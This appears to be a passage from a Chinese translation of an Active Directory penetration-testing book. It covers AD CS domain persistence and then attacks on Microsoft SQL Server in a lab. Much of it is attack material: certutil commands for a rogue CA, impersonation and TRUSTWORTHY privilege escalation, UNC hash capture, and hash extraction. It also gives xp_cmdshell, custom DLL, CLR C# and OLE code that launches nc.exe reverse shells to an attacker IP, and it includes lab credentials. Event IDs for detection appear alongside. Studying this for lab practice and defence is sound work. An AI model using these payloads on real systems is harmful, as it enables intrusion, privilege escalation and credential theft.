为了缓解此攻击,通过设置IF_ENFORCEENCRYPTICERTREQUEST标志来强制包签名和加密。检测建议与 ESC8 相同。

在下一节中,我们将讨论通过滥用内建的 AD CS 功能来实现域内持久化的可能方式。

域持久化

在本节中,我们将探讨利用被攻破的 CA 在域中实现持久化的技术。我们将了解对手通常会利用哪些典型的向量来保持对环境的高权限访问,并探讨检测此类活动的方法。

DPERSIST1 – 使用被盗的 CA 证书伪造证书

如果一个对手已成功攻破了一个 CA 并获得了相应的 CA 证书和私钥,那么在该域环境中伪造任何证书都是可能的。为了区分 CA 证书与其他证书,请注意以下特征:

  • 发行者和主题被设置为 CA 的唯一名称

  • 它具有一个“CA 版本”扩展

  • 无 EKU

这些特征在以下截图中显示:

图 8.44 – CA 证书信息

图 8.44 – CA 证书信息

需要特别说明的是,伪造的证书无法被吊销,因为 CA 并不知道它们的存在。获取 CA 证书的场景之一已在 ESC5 示例中解释。如果你需要在 Windows 机器上伪造证书,可以使用一个名为ForgeCert[28]的工具来协助你。

理想情况下,从安全角度来看,CA 应该被视为关键资产。根 CA 可以下线,并将证书颁发委托给下级 CA。如果根 CA 被攻破,它仍然是安全的,并可以吊销下级 CA 证书。CA 证书的私钥应当与所有物理安全措施一起单独存储在硬件设备中。

DPERSIST2 – 信任恶意 CA 证书

在身份验证过程中,域控制器会检查NTAuthCertificates对象中的 CA 条目,该条目在Issuer字段中指定。此技术的思路是生成一个自签名的恶意 CA 证书,并将其添加到NTAuthCertificates Active Directory 对象中。之后,任何由恶意 CA 证书签名的伪造证书都会被视为有效。攻击者需要具有高权限的访问权限,才能将恶意证书推送到NTAuthCertificates对象中。可以通过以下命令来实现:

certutil.exe -dspublish -f C:\Users\Public\RogueCA.crt NTAuthCA

如果启用了CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=essos,DC=local对象的WriteModify操作的 SACL 审计,就可以检测到这种活动。这将生成事件 ID 5136

DPERSIST3 – 恶意配置错误

通过对 CA 的高权限访问,攻击者可以通过修改 AD CS 组件的安全描述符引入恶意配置错误,从而实现持久性。在这种情况下,唯一的限制就是攻击者的想象力。所有来自域权限提升部分的攻击都可以与在 AD CS 关键元素上设置的额外过度权限一起实施。检测此技术非常困难。每当证书服务的安全权限发生更改时,都会记录事件 ID 4882,如 ESC7 所示。此外,关键 AD 对象的 SACL 审计将非常有帮助。

总结

在本章中,我们学习了妥协 AD CS 的技术。本章介绍的技术被分为四类:证书窃取、账户持久性、域权限提升和域持久性。

在证书窃取类别中,我们介绍了从被攻陷终端窃取证书的不同方法。接下来,我们向您介绍了账户持久性技术,如用户和机器证书的请求与续订。此外,我们还学习了域权限提升和持久性技术,分别用于在域级别实现最高权限。

在下一章中,我们将深入探讨 Microsoft 的数据库解决方案——Microsoft SQL Server。我们将涵盖进攻性技术、防御措施和检测建议。

参考资料

  1. SpecterOps – Certified Pre-Owned: specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf

  2. 关于 AD CS 的 Microsoft 官方文档:learn.microsoft.com/en-us/training/modules/implement-manage-active-directory-certificate-services/2-explore-fundamentals-of-pki-ad-cs

  3. PassTheCert 工具:github.com/AlmondOffSec/PassTheCert

  4. 无 PKINIT 的证书认证:offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.xhtml

  5. 寻找 AD CS 滥用行为:speakerdeck.com/heirhabarov/hunting-for-active-directory-certificate-services-abuse

  6. CertStealer 工具:github.com/TheWover/CertStealer

  7. SharpDPAPI 工具:github.com/GhostPack/SharpDPAPI

  8. 检测 UnPAC-the-hash 和 Shadow Credentials 攻击:medium.com/falconforce/falconfriday-detecting-unpacing-and-shadowed-credentials-0xff1e-2246934247ce

  9. Certify 工具:github.com/GhostPack/Certify

  10. Shadow Credentials 攻击:shenaniganslabs.io/2021/06/21/Shadow-Credentials.xhtml

  11. Whisker 工具:github.com/eladshamir/Whisker

  12. AD CS 备忘单:hideandsec.sh/books/cheatsheets-82c/page/active-directory-certificate-services

  13. Certifried 原始研究:research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4

  14. Certipy 工具:github.com/ly4k/Certipy

  15. Semperis 针对 CVE-2022-26923 的分析:www.semperis.com/blog/ad-vulnerability-cve-2022-26923/

  16. ESC9 和 ESC10 作者的博客文章:research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7

  17. 微软针对 Certifried 的补丁:catalog.update.microsoft.com/Search.aspx?q=KB5025228

  18. modifyCertTemplate 工具:github.com/fortalice/modifyCertTemplate

  19. 使用 PowerView 利用 ESC4:redteam.wiki/postexploitation/active-directory/adcs/esc4

  20. 检测 ESC4:www.fortalicesolutions.com/posts/adcs-playing-with-esc4

  21. Certsync 攻击: www.redpacketsecurity.com/certsync-dump-ntds-with-golden-certificates-and-unpac-the-hash/

  22. SpecterOps – 从 DA 到 EA 使用 ESC5: posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c

  23. 使用 PSPKI 将 ESC7 转换为 ESC6: luemmelsec.github.io/Skidaddle-Skideldi-I-just-pwnd-your-PKI/#esc7

  24. 从 ManageCA 到 RCE: www.tarlogic.com/blog/ad-cs-…

  25. ESC8 利用版本: github.com/swisskyrepo…

  26. AD CS GOADv2 实验室演练: mayfly277.github.io/posts/GOADv…

  27. ESC11 原创研究: blog.compass-security.com/2022/11/rel…

  28. ForgeCert 工具: github.com/GhostPack/F…

第九章:占领 Microsoft SQL Server

本章将聚焦于典型 Windows 环境中的一个常见且重要的服务——Microsoft SQL Server。SQL Server 是一个关系数据库管理系统,类似于 Oracle 或 MySQL。它与 Active Directory 紧密集成,支持 Windows 身份验证、信任关系的使用等。我们将按照通常的攻击步骤,从目标环境中发现并枚举实例开始。许多不同的工具可以帮助完成这些活动。接着,我们将探索在 SQL Server 中提升权限的方法,并进一步执行底层操作系统的命令。本章将为你提供通过滥用数据库链接在数据库实例之间进行横向移动的坚实理解。最后,我们将探讨如何利用 SQL Server 功能实现主机和应用程序级别的持久性。

在本章中,我们将涵盖以下主题:

  • 介绍、发现和枚举

  • 权限提升

  • 操作系统OS)命令执行

  • 横向移动

  • 持久性

技术要求

在本章中,你需要具备以下内容:

  • VMware Workstation Pro 或 Oracle VirtualBox,至少需要 16 GB 的内存、8 个 CPU 核心以及至少 55 GB 的总空间(如果你进行快照,所需空间会更多)

  • 强烈推荐使用基于 Linux 的操作系统

  • 在 GOADv2 项目中,我们将使用 SRV02 和 SRV03

介绍、发现和枚举

在本节中,我们将开始对 Microsoft SQL Server 安全评估的旅程。我们将简要介绍 SQL Server,然后进入发现过程。本节的大部分内容将深入探讨枚举过程的手动和自动化方面。

SQL Server 介绍

在我们开始探索发现主题之前,先让我们看看 SQL Server 的功能、固定服务器角色和安全机制。SQL Server 是安装在操作系统上的应用程序;在我们的例子中,我们只关注 Windows 主机。该服务器作为一组唯一命名的 Windows 服务在服务账户的上下文中运行。默认的监听 TCP 端口是 1433,UDP 端口是 1434;然而,如果运行更多的服务,端口列表会更长[1]。为了访问存储的数据,用户必须通过身份验证和授权检查。

身份验证用来验证用户是否有足够的权限登录实例。身份验证机制有两种——使用 Windows 账户或 SQL Server 登录。这两种机制的区别在于身份验证的处理者——是域控制器还是 SQL Server 本身。登录后,账户将被分配一些在创建时定义的服务器级角色。可以将这些角色看作是 Active Directory 安全组。这些角色是服务器级别的,可以是固定的或用户定义的。SQL Server 2022 在先前版本的 9 个固定角色基础上增加了 10 个新固定角色[2]。固定服务器角色权限无法更改,除了“public”角色。授权发生在数据库级别,决定用户在登录后对数据库的权限。为此,认证账户将映射到数据库用户。

有五个默认数据库:

  • master – 存储系统级别的实例信息

  • msdb – SQL Server Agent 用于调度作业和警报

  • model – 模板数据库,用于创建新数据库

  • resource – 只读数据库,保存 sys 模式对象

  • tempdb – 存储临时对象和结果

现在我们已经了解了 SQL Server 的基本信息,接下来我们可以进行侦察活动。

发现

从未认证的攻击者视角来看,要发现 SQL Server,我们需要进行网络端口扫描。Nmap、PowerUpSQLSQLCMD、CrackMapExec 和 mssql_ping Metasploit 模块将帮助进行这项活动。这些工具查询常见端口,如 TCP 1433 和 UDP 1434,或从域中提取并解析 SPN,示例如下:

crackmapexec mssql 192.168.56.22-23

如果攻击者拥有数据库服务器的本地访问权限,通过简单的服务枚举查找以MSSQL*开头的名称,或查询位于HKLM:\SOFTWARE\Microsoft\Microsoft SQL Server\*的注册表项,就能发现正在运行的数据库实例。PowerUpSQL 正是通过 Get-SQLInstanceLocal 函数实现相同功能的。

一组有效的域凭证将允许攻击者执行整个森林范围内的 SPN 扫描,以检测正在运行的 SQL Server 实例。在本章中,将通过一款新发布的工具 SQLRecon[4] 和经典的 PowerUpSQL[5] 展示一些示例。让我们通过执行三条提供完全相同结果的命令,来发现 SQL Server 是否安装在 essos 域上。值得注意的是,setspn 和 SQLRecon 使用当前域用户上下文,并且从域加入的计算机上运行。而对于 impacket 的 Python 脚本,我们可以在 Kali 上运行时显式指定凭证:

setspn -T essos -Q MSSQL*/*
python3 GetUserSPNs.py essos.local/khal.drogo:horse
SQLRecon.exe /e:SqlSpns

SQLRecon 执行 LDAP 查询,查找一个具有 SPN 以 MSSQL* 开头的用户(sAMAccountType=805306368)(servicePrincipalName=MSSQL*)。发现的结果如以下截图所示:

图 9.1 – 发现的 SQL Server 实例

图 9.1 – 发现的 SQL Server 实例

攻击者然后可以尝试使用被泄露的域或 SQL Server 用户凭证登录到发现的实例。获取 SQL Server 初始立足点的另一种方法是通过暴力破解。

暴力破解

字典攻击是非常嘈杂的,必须小心执行,以避免被锁定在目标账户之外。Nmap 脚本、Metasploit 模块和 PowerUpSQL 函数可以帮助执行此类活动。在 PowerUpSQL[6] 中,有三个函数允许你进行登录攻击:

  • Invoke-SQLAuditWeakLoginPw – 将用户名作为密码进行测试

  • Get-SQLConnectionTestThreaded – 使用已知的用户名/密码对或作为当前用户进行登录

  • Get-SQLServerLoginDefaultPw – 检查常见应用程序使用的默认密码,基于实例名称

CrackMapExec 还允许你执行密码喷射攻击,使用提供的用户名和密码列表:

crackmapexec mssql 192.168.56.23 -u userfile -p passwordfile --no-bruteforce

假设攻击者已经入侵或猜测到了用户 jorah.mormont 的密码。以下 PowerUpSQL 链式命令验证以 jorah.mormont 用户身份访问 SQL Server 实例并收集服务器信息:

Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded | Get-SQLServerInfo

上述命令的输出如下图所示:

图 9.2 – 使用 PowerUpSQL 进行 SQL Server 枚举

图 9.2 – 使用 PowerUpSQL 进行 SQL Server 枚举

SQLRecon 命令也显示映射的角色:

图 9.3 – 使用被泄露的用户进行初始立足点

图 9.3 – 使用被泄露的用户进行初始立足点

获取立足点后,攻击者可以继续枚举其他数据库用户,以确定可能的下一个目标。Metasploit 有一个用于枚举 SQL 登录的模块,叫做 admin/mssql/mssql_enum_sql_logins,PowerUpSQL 也有一个 Get-SQLFuzzServerLogin 函数。该函数在后台调用 SQL Server suser_name 函数,并迭代主 ID 值。一个公共角色就足以执行此类活动:

Get-SQLFuzzServerLogin -Instance BRAAVOS\SQLEXPRESS -Verbose

结果如下图所示:

图 9.4 – 实例的所有服务器登录

图 9.4 – 实例的所有服务器登录

还可以使用 Get-SQLFuzzDomainAccount 函数和 Metasploit admin/mssql/mssql_enum_domain_accounts 模块枚举域用户。思路完全相同,但这次迭代会遍历域 RID。默认的结束迭代值是 1,000;然而,对于大型环境,可以通过 -EndId 选项进行修改。需要注意的是,由此函数使用的 LSA SID 查找请求(在我们的例子中是 lsa_lookupsids3)会在短时间内为域控制器造成大量流量:

Get-SQLFuzzDomainAccount -Instance BRAAVOS\SQLEXPRESS -EndId 2000

Get-SQLFuzzDomainAccount 命令的结果如下图所示:

图 9.5 – 所有域组和用户

图 9.5 – 所有域组和用户

暴力破解攻击会在 Windows 日志中留下事件 ID 18456 的痕迹。事件中的错误文本有助于确定攻击者是进行用户枚举还是密码喷射攻击。

攻击者的下一步是使用获得的凭证枚举数据库本身。

数据库枚举

枚举可以通过使用像 SQLRecon 这样的工具或者手动运行查询来完成,使用如HeidiSQL[7]或 Microsoft SQL Server Management Studio 这样的工具。以下是一些常见的查询,用于获取数据库的基本信息[8][9]。你可以在 SQL SMS 中运行这些查询。下面截图中语句上方的注释旨在解释它们的目的:

-- database version
SELECT @@version;
-- current login name
SELECT SYSTEM_USER;
-- current role
SELECT USER;
-- check if our role has public or sysadmin privileges
SELECT IS_SRVROLEMEMBER('public');
SELECT IS_SRVROLEMEMBER('sysadmin');
-- list all databases
SELECT name FROM master..sysdatabases;
-- list all users
SELECT * FROM sys.server_principals
-- list linked servers
EXEC sp_linkedservers;
-- list logins available for impersonation
SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';
-- effective permissions for the server and the database
SELECT * FROM fn_my_permissions(NULL, 'SERVER')
SELECT * FROM fn_my_permissions(NULL, 'DATABASE')

之前查询的所有信息都很重要;然而,最关键的信息是当前用户的角色、链接的服务器、可供冒充的登录账户,以及我们在服务器和数据库上的有效权限。

SQLRecon 有对应的枚举模块。该工具支持五种类型的身份验证,但我们只关心其中三种——Windows 令牌(WinToken)、Windows 域凭证(WinDomain)和本地凭证(Local)。让我们开始枚举。

例如,以下命令显示了当前用户(khal.drogo)可以冒充的链接服务器和账户:

图 9.6 – 可以被冒充的账户列表及其链接的服务器

图 9.6 – 可以被冒充的账户列表及其链接的服务器

要识别权限提升的路径,我们可以运行 PowerUpSQL 函数,如Invoke-SQLAuditInvoke-SQLEscalatePriv。然而,让我们在接下来的章节中逐一详细介绍可用的权限提升技术。

权限提升

在上一节中,我们看到了多种数据库枚举技术。在本节中,我们将使用收集到的侦察结果,针对用户khal.drogo,识别数据库服务器上的权限提升路径。我们还将实践从 SQL Server 提升权限到主机本身。在本节结束时,我们将从该用户提升到sysadmin角色,且拥有本地主机管理员权限。

冒充

最常见的权限提升路径之一是用户冒充。此权限允许冒充另一个用户或登录账户,以代表被冒充的用户访问资源,而无需专门授予权限[10]。sysadmin角色对所有数据库都有此权限,db_owner角色成员只在他们拥有的数据库中拥有此权限。我们可以通过以下查询检查当前用户是否被允许冒充sa用户登录:

EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')

假冒可以发生在服务器级别(EXECUTE AS LOGIN)和数据库级别(EXECUTE AS USER)。Metasploit 有一个名为admin/mssql/mssql_escalate_execute_as的模块,可以通过假冒提升权限。PowerUpSQL 也有一个功能可以识别并利用假冒:

Invoke-SQLAuditPrivImpersonateLogin -Instance BRAAVOS\SQLEXPRESS -Exploit

结果如下面的截图所示:

图 9.7 – 成功的权限提升

图 9.7 – 成功的权限提升

显然,审核具有假冒权限的用户至关重要。PowerUpSQL 的Invoke-SQLAudit功能列出了所有可以假冒其他用户的登录名。然而,它无法构建关系图(如 BloodHound 那样)并识别嵌套的关系。

受信任配置错误

受信任是一个数据库属性,表示 SQL Server 信任该数据库及其内容。默认情况下,此属性是禁用的,只有sysadmin才能启用。如果攻击者是一个受信任数据库中属于db_owner角色的成员,并且该数据库的所有者是sysadmin,那么就有可能提升权限。拥有db_owner角色的攻击者可以创建一个存储过程,使其在数据库所有者(sysadmin)的上下文中执行(EXECUTE AS OWNER)[11]。

让我们在实验室中设置这个攻击。以下代码将创建一个数据库,将其设置为受信任,为viserys.targaryen创建一个登录,并授予他db_owner角色:

CREATE DATABASE MyDb
USE MyDb
ALTER DATABASE MyDb SET TRUSTWORTHY ON
CREATE LOGIN [ESSOS\viserys.targaryen] FROM WINDOWS
ALTER LOGIN [ESSOS\viserys.targaryen] with default_database = [MyDb];
CREATE USER [ESSOS\viserys.targaryen] FROM LOGIN [ESSOS\viserys.targaryen];
EXEC sp_addrolemember [db_owner], [ESSOS\viserys.targaryen]

现在,我们准备执行攻击。首先,让我们识别受信任的数据库。PowerUpSQL 有一个名为Invoke-SQLAuditPrivTrustworthy的功能可以完成此任务,或者我们可以直接运行以下 SQL 查询:

SELECT name as database_name , SUSER_NAME(owner_sid) AS database_owner , is_trustworthy_on AS TRUSTWORTHY from sys.databases;

其次,我们需要检查受信任数据库中db_owner角色的成员:

USE MyDb;
SELECT DP1.name AS DatabaseRoleName, isnull (DP2.name, 'No members') AS DatabaseUserName FROM sys.database_role_members AS DRM  RIGHT OUTER JOIN sys.database_principals AS DP1  ON DRM.role_principal_id = DP1.principal_id  LEFT OUTER JOIN sys.database_principals AS DP2  ON DRM.member_principal_id = DP2.principal_id  WHERE DP1.type = 'R' ORDER BY DP1.name;

最后一步是创建一个存储过程并执行它:

CREATE PROCEDURE sp_pe_trust
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember [ESSOS\viserys.targaryen],[sysadmin]
EXEC sp_pe_trust
SELECT is_srvrolemember('sysadmin')

可以通过使用 Metasploit 的auxiliary/admin/mssql/mssql_escalate_dbowner模块或Invoke-SqlServer-Escalate-DbOwner脚本[12]来自动化攻击。自动化利用的结果如下面的截图所示:

图 9.8 – 从 db_owner 到 sysadmin 的权限提升

图 9.8 – 从 db_owner 到 sysadmin 的权限提升

为了防止配置错误,建议关闭受信任属性或将数据库所有者更改为低权限用户。

从以下部分开始,我们将逐渐从数据库级别转向操作系统级别。

UNC 路径注入

统一命名约定UNC)路径可以用于访问远程服务器上的文件。有两个存储过程支持 UNC 路径,并且可以通过公共服务器角色执行 – xp_dirtreexp_fileexist。存储过程是将多个 SQL 语句组合在一起的逻辑单元。这样做的好处包括安全性、可重用性和性能。通过执行这两个存储过程之一,攻击者迫使 SQL Server 服务帐户访问并随后对受控资源进行身份验证。然后,NTLMv2 挑战将被捕获并转发,或由攻击者破解。通过使用 Metasploit 的 auxiliary/admin/mssql/mssql_ntlm_stealer 模块、SQLRecon 的 smb 模块,或 PowerUpSQL 中的 Invoke-SQLUncPathInjection 函数,可以自动化此攻击。它们本质上执行以下查询:

EXEC master.dbo.xp_dirtree '\\192.168.56.100\blah'

NTLMv2 挑战将被 Responder 捕获,如下图所示:

图 9.9 – 已捕获 sql_svc 的 NTLMv2 挑战

图 9.9 – 已捕获 sql_svc 的 NTLMv2 挑战

为了消除此攻击向量,建议撤销公共角色执行这些过程的权限。

还有另一种迫使身份验证的方式,但这次是作为安装了 SQL Server 的机器帐户[13]。在登录到 SQL Server Management Studio 后,攻击者从 XMLA 文件恢复一个数据库,但将其指向一个受控监听器作为备份文件位置。然后,攻击者将捕获 NTLMv2 挑战。

从服务帐户到 SYSTEM

通常,数据库服务帐户拥有 SeImpersonatePrivilege 权限。滥用此权限可以将我们的权限提升至 SYSTEM。根据目标操作系统的版本,提供了不同的漏洞利用工具。JuicyPotato[14] 适用于 Windows Server 2019 以下版本,而 RoguePotato、PrintSpoofer、SharpEfsPotato 和 GodPotato[15] 适用于更高版本。所有漏洞利用都在利用过程中使用不同的服务,但主要思路是创建管道,强制连接,并伪装成 SYSTEM 令牌。为了在服务上下文中执行进一步的命令,我们将在 HeidiSQL 中运行以下命令,这将作为 sql_svc 用户连接回我们的 Kali 主机:

EXEC master..xp_cmdshell 'cmd.exe /c C:\Users\Public\nc.exe -e cmd 192.168.56.100 443'

只需运行漏洞利用即可授予我们 SYSTEM 级别的权限:

图 9.10 – GodPotato 漏洞成功利用

图 9.10 – GodPotato 漏洞成功利用

微软尚未发布针对该权限提升向量的修复。

以下示例将展示如果攻击者是本地管理员,如何在数据库级别获取 sysadmin 权限。

从本地管理员到 sysadmin

另一种可能的情况是,攻击者已获得数据库服务器的本地管理员权限。有已知的方法可以获取数据库sysadmin权限作为下一步[16]。最常见的技术之一是冒充 SQL Server 服务帐户,因为默认情况下,它拥有sysadmin权限。PowerUpSQL 有两个冒充函数,分别是 Invoke-SQLImpersonateServiceInvoke-SQLImpersonateServiceCmd。其他技术包括借助 Mimikatz 读取 LSA 密钥、提取 SQL Server 登录密码哈希、将 DLL 或 shellcode 注入进程,甚至运行数据库的单用户模式。一个名为 post/windows/manage/mssql_local_auth_bypass 的 Metasploit 模块结合了为旧版 SQL Server 安装获取 LocalSystem 权限和迁移到新版 SQL Server 服务进程的能力。

运行以下命令可以获得 sysadmin 权限并提取 SQL Server 登录密码哈希:

Invoke-SQLImpersonateService -Verbose -Instance BRAAVOS\SQLEXPRESS
Get-SQLServerPasswordHash -Verbose -Instance BRAAVOS\SQLEXPRESS

结果显示在以下截图中:

图 9.11 – SQL Server 登录密码哈希

图 9.11 – SQL Server 登录密码哈希

显然,还有另一种提取密码哈希的方法——从 master.mdf 文件中提取。XPN 之前发布了一些出色的研究[17],展示了 master.mdf 文件的内部结构,并发布了提取密码哈希的工具[18]。此攻击需要本地管理员权限。首先,我们需要定位 master.mdf 文件并使用 RawCopy 工具将其复制。该工具从磁盘复制原始数据,因此可以绕过 SQL Server 锁定 master.mdf 文件的限制。PowerShell 脚本使用 OrcaMDF .NET 库,因此我们还需要加载这些库,然后提取哈希:

RawCopy64.exe /FileNamePath:"C:\Program Files\Microsoft SQL Server\MSSQL15.SQLEXPRESS\MSSQL\DATA\master.mdf" /OutputPath:C:\Users\Public
[Reflection.Assembly]::LoadFile("$pwd\OrcaMDF.RawCore.dll")
[Reflection.Assembly]::LoadFile("$pwd\OrcaMDF.Framework.dll")
ipmo .\Get-MDFHashes.ps1
Get-MDFHashes -mdf "C:\Users\Public\master.mdf" | fl

上述命令的输出如下截图所示:

图 9.12 – SA SQL Server 登录的密码哈希

图 9.12 – SA SQL Server 登录的密码哈希

在接下来的部分中,我们将研究多种在操作系统级别执行命令的方法。

操作系统命令执行

在接下来的部分中,我们将探讨通过 SQL Server 执行操作系统命令的方法。要启用命令执行,必须拥有 sysadmin 权限。执行本身总是在服务帐户的上下文中进行。攻击者无需知道 SQL Server 服务或代理帐户的哈希值或密码。让我们首先看看内置的扩展存储过程。

xp_cmdshell

xp_cmdshell 可能是最著名的内置扩展存储过程,它默认情况下是禁用的。启用它需要 sysadmin 权限。PowerUpSQL 中有一些函数(Invoke-SQLOSCmdExecInvoke-SQLOSCmd)、SQLRecon(EnableXpXpCmd)以及 Metasploit 中的 admin/mssql/mssql_exec 模块可以自动化此任务。安装并启用 xp_cmdshell 的手动查询如下所示:

sp_addextendedproc 'xp_cmdshell','xplog70.dll
EXEC sp_configure 'show advanced options',1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
EXEC master..xp_cmdshell 'whoami'

需要提到的是,这样的活动将生成 ID 为 15457 的事件,因为 sp_configure 存储过程将被使用。如果配置尝试失败(因为用户权限不足),Windows 事件 ID 15281 将被记录。

图 9.13 – 重新配置 xp_cmdshell 的失败尝试

图 9.13 – 重新配置 xp_cmdshell 的失败尝试

此外,Metasploit 中有一个模块 (exploit/windows/mssql/mssql_payload) 可以通过 xp_cmdshell 执行任意有效载荷。

一个自定义扩展存储过程

简单来说,自定义扩展存储过程是 SQL Server 的一个 DLL 扩展。需要 Sysadmin 权限来注册每个存储过程到扩展中。DLL 的代码示例可以在 GitHub 上找到[19]。需要注意的是,DLL 和函数名称是区分大小写的,必须完全相同。

PowerUpSQL 有一个名为 Create-SQLFileXpDll 的函数,它将为我们创建一个 DLL。然后,我们将注册它,列出扩展存储过程以验证注册,最后执行我们的恶意扩展存储过程。以下命令复制了这个过程:

Create-SQLFileXpDll -OutFile C:\Users\Public\xp_shell.dll -Command "C:\Users\Public\nc.exe -e cmd 192.168.56.100 443" -ExportName xp_shell -Verbose
Get-SQLQuery -Instance BRAAVOS\SQLEXPRESS -Username sa -Password "sa_P@ssw0rd!Ess0s" -Query "sp_addextendedproc 'xp_shell', 'C:\Users\Public\xp_shell.dll'"
Get-SQLStoredProcedureXP -Instance BRAAVOS\SQLEXPRESS -Username sa -Password "sa_P@ssw0rd!Ess0s"
Get-SQLQuery -Instance BRAAVOS\SQLEXPRESS -Username sa -Password "sa_P@ssw0rd!Ess0s" -Query "EXEC xp_shell"

不幸的是,自动创建的 PowerUpSQL DLL 在实验室中的目标机器上并未执行,即使通过 rundll32 命令也是如此。令人惊讶的是,同样的 DLL 在 Windows 10 机器上运行良好,如下所示:

图 9.14 – DLL 生成了一个反向 shell

图 9.14 – DLL 生成了一个反向 shell

成功加载的 DLL 生成事件 ID 33090,如下截图所示:

图 9.15 – DLL 成功加载到内存中

图 9.15 – DLL 成功加载到内存中

失败的尝试将生成 ID 为 17750 的错误。通过关联这两个事件,如果环境中有预定义的 DLL 名单,可以基于 DLL 名称构建检测。

自定义 CLR 程序集

公共语言运行时(CLR) 程序集是一个可以导入到 SQL Server 的 .NET DLL。导入后,DLL 方法可以链接到存储过程。在这种情况下,攻击分为两步——启用 CLR 和实际执行。一个很好的分步博客帖子详细说明了这个过程,作者是 NetSPI[20]。C# 代码被编译成 DLL 并导入到 SQL Server。以下查询可以执行操作系统命令:

use msdb
EXEC sp_configure 'show advanced options',1
RECONFIGURE
EXEC sp_configure 'clr enabled',1
RECONFIGURE
CREATE ASSEMBLY my_evil FROM 'C:\Users\Public\cmd_exec.dll' WITH PERMISSION_SET = UNSAFE;
CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_evil].[StoredProcedures].[cmd_exec];

该方法的另一个优点是,可以仅在内存中使用 DLL 的十六进制表示,而不需要接触磁盘。

还有两个需要注意的事项。此技术要求设置TRUSTWORTHY属性,这就是为什么我们使用默认具有此属性的msdb数据库。此外,clr strict security选项是微软引入的[21]。默认情况下,alter/create程序集语句中的permission_set选项将被忽略。要关闭此选项,需要通过sp_configure重新配置 CLR 严格安全设置。

为了演示,我们将结合使用 SQLRecon 和 PowerUpSQL 中的Create-SQLFileCLRDll函数来获得一个交互式反向 Shell。第一步是通过以下命令启用 CLR:

SQLRecon.exe /auth:Local /host:braavos.essos.local /username:sa /password:"sa_P@ssw0rd!Ess0s" /module:EnableClr

然后,我们使用Create-SQLFileCLRDll函数生成自定义程序集的代码:

Create-SQLFileCLRDll -OutFile runcmd -OutDir . -AssemblyName "runcmd" -AssemblyClassName "StoredProcedures" -AssemblyMethodName "cmd_exec"

让我们修改生成的.csc文件。以下代码效果非常好:

            using System;
            using System.Data;
            using System.Data.SqlClient;
            using System.Data.SqlTypes;
            using Microsoft.SqlServer.Server;
            using System.Diagnostics;
            public partial class StoredProcedures
            {
            [Microsoft.SqlServer.Server.SqlProcedure]
            public static void cmd_exec ()
            {
            Process proc = new Process();
            proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe";
               proc.StartInfo.Arguments = string.Format(@" /C C:\Users\Public\nc.exe -e cmd 192.168.56.100 443");
            proc.Start();
            proc.WaitForExit();
            proc.Close();
            }
            };

以下两个命令将编译上面的代码为 DLL,SQLRecon 将自动化其余的过程:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library C:\Users\Public\runcmd.csc
SQLRecon.exe /auth:Local /host:braavos.essos.local /username:sa /password:"sa_P@ssw0rd!Ess0s" /module:Clr /dll:runcmd.dll /function:cmd_exec

请注意,SQLRecon 通过将程序集添加到信任列表来绕过clr strict security选项:

图 9.16 – 自定义 CLR 成功执行反向 Shell

图 9.16 – 自定义 CLR 成功执行反向 Shell

结果,我们在目标上获得了一个交互式 Shell:

图 9.17 – 数据库服务器上的交互式反向 Shell

图 9.17 – 数据库服务器上的交互式反向 Shell

这个功能也在 Metasploit 模块exploit/windows/mssql/mssql_clr_payload和另一个 PowerShell 工具SeeCLRly[22]中实现。

为了列出并导出现有的 CLR 程序集,PowerUpSQL 实现了Get-SQLStoredProcedureCLR函数。我们可以使用dnSpy反编译器修改导出的 CLR DLL,然后重新上传它,覆盖现有的文件,以实现隐蔽持久化。

通过事件 ID 15457可以进行攻击检测,因为攻击者必须使用sp_configure。程序集创建将生成事件 ID 6299,卸载程序集将生成事件 ID 10310,卸载确认将生成事件 ID 6290。通过关联和串联这四个事件,可以帮助可靠地检测恶意活动。

OLE 自动化过程

对象链接与嵌入OLE)技术允许你将一个应用程序中的对象链接到另一个应用程序中。OLE 自动化过程帮助 SQL Server 与 COM 对象进行交互。组件对象模型COM)允许二进制软件组件之间的交互。OLE 自动化过程通过odsole70.dll与 COM 进行交互[23]。以下是可以用于命令执行的过程列表:

  • sp_OACreate – 创建一个 OLE 对象实例

  • sp_OAMethod – 调用 OLE 对象方法

  • sp_OADestroy – 销毁一个创建的 OLE 对象

  • sp_OASetProperty – 设置 OLE 对象属性

一些实际的 OLE 使用示例包括在 Web 服务器上创建 Web Shell、下载恶意软件、在文件系统中移动文件和执行命令。PowerUpSQL 中的Invoke-SQLOSCmdCLR函数将启用 OLE 自动化,执行命令,从临时文件读取命令输出,然后删除该文件。Metasploit 的admin/mssql/mssql_exec模块也可以切换到使用sp_OACreate过程。然而,是否能够获取结果将取决于攻击者使用的方法——例如,使用OPENROWSET()函数。以下是通过 SQLRecon 和nc.exe帮助获取交互式反向 Shell 的命令:

SQLRecon.exe /auth:Local /host:braavos.essos.local /username:sa /password:"sa_P@ssw0rd!Ess0s" /module:enableole
SQLRecon.exe /auth:Local /host:braavos.essos.local /username:sa /password:"sa_P@ssw0rd!Ess0s" /module:olecmd /command:"C:\Users\Public\nc.exe -e cmd 192.168.56.100 443"

成功执行的结果如下截图所示:

图 9.18 – 通过 OLE 自动化过程执行操作系统命令

图 9.18 – 通过 OLE 自动化过程执行操作系统命令

手动获取反向 Shell 的代码如下所示:

DECLARE @output INT
DECLARE @ProgramToRun VARCHAR(255)
SET @ProgramToRun = 'Run("cmd.exe /c C:\Users\Public\nc.exe -e cmd 192.168.56.100 443")'
EXEC sp_oacreate 'wScript.Shell', @output out
